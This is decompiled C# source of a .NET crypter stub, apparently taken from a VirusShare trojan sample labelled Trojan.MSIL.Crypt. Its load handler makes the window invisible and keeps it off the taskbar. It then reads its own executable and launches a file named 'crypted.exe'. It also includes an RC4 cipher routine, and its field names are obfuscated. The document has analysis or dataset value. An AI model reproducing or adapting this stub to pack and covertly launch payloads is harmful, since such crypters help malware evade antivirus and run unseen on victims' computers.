// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.Form1
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace WindowsApplication1
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private IContainer components;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    private string mwilson;
    private string[] canyonc;
    private string canyonDC;
    private const string cjay = "casd3sadasdk";
    private string textbox2;

    [DebuggerNonUserCode]
    public Form1()
    {
      this.Load += new EventHandler(this.Form1_Load);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.TextBox1 = new TextBox();
      this.SuspendLayout();
      this.TextBox1.Location = new Point(89, 121);
      this.TextBox1.Name = "TextBox1";
      TextBox textBox1 = this.TextBox1;
      Size size1 = new Size(156, 20);
      Size size2 = size1;
      textBox1.Size = size2;
      this.TextBox1.TabIndex = 0;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      size1 = new Size(284, 262);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.TextBox1);
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual TextBox TextBox1
    {
      [DebuggerNonUserCode] get => this._TextBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      this.Visible = false;
      this.textbox2 = "asdasd";
      this.ShowInTaskbar = false;
      this.TextBox1.Text = "\\crypted.exe";
      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
      this.mwilson = Strings.Space(checked ((int) FileSystem.LOF(1)));
      FileSystem.FileGet(1, ref this.mwilson);
      FileSystem.FileClose(1);
      Process.Start(Application.StartupPath + this.TextBox1.Text);
    }

    public string rc4(string message, string password)
    {
      int index1 = 0;
      int index2 = 0;
      StringBuilder stringBuilder = new StringBuilder();
      string empty = string.Empty;
      int[] numArray1 = new int[257];
      int[] numArray2 = new int[257];
      int length = password.Length;
      int location1 = 0;
      while (location1 <= (int) byte.MaxValue)
      {
        char String = password.Substring(location1 % length, 1).ToCharArray()[0];
        numArray2[location1] = Strings.Asc(String);
        numArray1[location1] = location1;
        Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
      }
      int index3 = 0;
      int location2 = 0;
      while (location2 <= (int) byte.MaxValue)
      {
        index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
        int num = numArray1[location2];
        numArray1[location2] = numArray1[index3];
        numArray1[index3] = num;
        Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
      }
      location1 = 1;
      while (location1 <= message.Length)
      {
        index1 = checked (index1 + 1) % 256;
        index2 = checked (index2 + numArray1[index1]) % 256;
        int num1 = numArray1[index1];
        numArray1[index1] = numArray1[index2];
        numArray1[index2] = num1;
        int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
        int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
        stringBuilder.Append(Strings.Chr(CharCode));
        Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
      }
      string str = stringBuilder.ToString();
      stringBuilder.Length = 0;
      return str;
    }
  }
}
